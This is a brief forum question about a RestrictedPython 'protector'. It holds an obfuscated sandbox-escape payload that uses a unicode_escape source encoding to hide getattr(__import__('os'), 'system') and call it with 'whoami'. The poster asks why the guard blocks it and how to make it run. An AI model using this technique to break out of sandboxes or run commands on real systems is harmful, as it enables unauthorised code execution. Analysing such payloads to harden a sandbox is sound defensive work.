unpack question

[jsmith173]

I've the following code

#encoding: unicode_escape a1,srt_rce,a2 = ''' \u0027\u0027\u0027\u002C\u0067\u0065\u0074\u0061\u0074\u0074\u0072\u0028\u005F\u005F\u0069\u006D\u0070\u006F\u0072\u0074\u005F\u005F\u0028\u0027\u006F\u0073\u0027\u0029\u002C\u0020\u0027\u0073\u0079\u0073\u0074\u0065\u006D\u0027\u0029\u002C\u0027\u0027\u0027 ''' srt_rce('whoami')

The unicode escape is: ''',getattr(import('os'), 'system'),'''

The protector code raises ValueError "too many values to unpack (expected 3)" in exec In my protector code I have: "iter_unpack_sequence": RestrictedPython.Guards.guarded_iter_unpack_sequence, "unpack_sequence": RestrictedPython.Guards.guarded_unpack_sequence,

My question: Is this exception normal? Why the original code is not executed? What to do when I want to execute this code?